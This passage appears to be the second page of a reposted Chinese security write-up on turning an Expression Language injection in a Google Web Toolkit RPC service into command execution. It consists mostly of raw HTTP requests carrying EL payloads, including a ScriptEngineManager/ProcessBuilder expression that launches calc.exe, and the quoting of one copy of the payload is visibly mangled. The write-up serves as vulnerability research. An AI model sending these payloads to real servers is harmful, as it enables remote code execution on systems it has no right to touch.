如何在Google Web Toolkit环境下Getshell

来源:岁月联盟 编辑:猪蛋儿 时间:2020-03-16
Content-Length: 195
6|0|6||45D7850B2B5DB917E4D184D52329B5D9|com.aaa.bbb.ccc.ddd.client.SomeService|sendBeanName|java.lang.String|facesContext.getExternalContext().redirect(“http://srcincite.io/")|1|2|3|4|1|5|6|
 
通过返回响应为”//ok[[],0,6]”可以了解到,我们对GWT注意已经成功。然后第二个请求触发存放在session中的字符串。但是,当我们发送请求之前,因为setMibNodesInfo函数传入的是一个复杂的变量类型,我们需要查看被保护文件的源代码,了解一下允许提交的类型。在[strongname].gwt.rpc文件中,我找到了在数组中可以提交的类型: java.util.ArrayList/382197682。
现在我们可以发送我们的请求数据了
 
POST /someService.gwtsvc HTTP/1.1
Host: [target]
Accept: /
X-GWT-Module-Base:
X-GWT-Permutation:
Cookie: JSESSIONID=[cookie]
Content-Type: text/x-gwt-rpc; charset=UTF-8
Content-Length: 171
6|0|6||45D7850B2B5DB917E4D184D52329B5D9|com.aaa.bbb.ccc.ddd.client.SomeService|setMibNodesInfo|java.util.List|java.util.ArrayList/3821976829|1|2|3|4|1|5|6|0|
正确的返回包内容应该和下面相似:
HTTP/1.1 302 Found
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=[cookie]; Path=/; Secure; HttpOnly
Set-Cookie: oam.Flash.RENDERMAP.TOKEN=-g9lc30a8l; Path=/; Secure
Pragma: no-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Pragma: no-cache
Location: http://srcincite.io/
Content-Type: text/html;charset=UTF-8
Content-Length: 45
Date: Wed, 03 May 2017 18:58:36 GMT
Connection: close
//OK[0,1,[“java.lang.Boolean/476441737”],0,6]
当然,能够重定向说明已经执行成功了。但是我们需要的是得到shell,在这篇文章
http://blog.mindedsecurity.com/2015/11/reliable-os-shell-with-el-expression.html
可以使用ScriptEngineManager的脚本执行java代码。不过他们的代码都特别长,所以我使用相同的方法自己写了一个
"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("var proc=new java.lang.ProcessBuilder[/"(java.lang.String[])/"]([/"cmd.exe/",/"/c/",/"calc.exe/"]).start();")
更新MibWidgetBeanName属性值,然后使用setMibNodesInfo再一次除非这个字符串,然后得到系统权限.
 
POST /someService.gwtsvc HTTP/1.1
Host: [target]
Accept: /
X-GWT-Module-Base:
X-GWT-Permutation:
Cookie: JSESSIONID=[cookie]
Content-Type: text/x-gwt-rpc; charset=UTF-8
Content-Length: 366
6|0|6||45D7850B2B5DB917E4D184D52329B5D9|com.aaa.bbb.ccc.ddd.client.SomeService|sendBeanName|java.lang.String|””.getClass().forName(“javax.script.ScriptEngineManager”).newInstance().getEngineByName(“JavaScript”).eval(“var proc=new java.lang.ProcessBuilder“(java.lang.String[])“.start();”)|1|2|3|4|1|5|6|
触发语言表达式:
POST /someService.gwtsvc HTTP/1.1
Host: [target]
Accept: /
X-GWT-Module-Base:
X-GWT-Permutation:
Cookie: JSESSIONID=[cookie]
Content-Type: text/x-gwt-rpc; charset=UTF-8
Content-Length: 171
6|0|6||45D7850B2B5DB917E4D184D52329B5D9|com.aaa.bbb.ccc.ddd.client.SomeService|setMibNodesInfo|java.util.List|java.util.ArrayList/3821976829|1|2|3|4|1|5|6|0|

 
结论
这一漏洞几乎不可能在黑盒渗透测试中被发现。像burp suite这样的工具不会发现这样的漏洞,尤其是在考虑到字符串储存到seesion中这种情况。
随着网络技术的进步,我们对自动化的依赖越来越大, 在这一领域我们需要更多知识,技能以及工具。
 

上一页  [1] [2]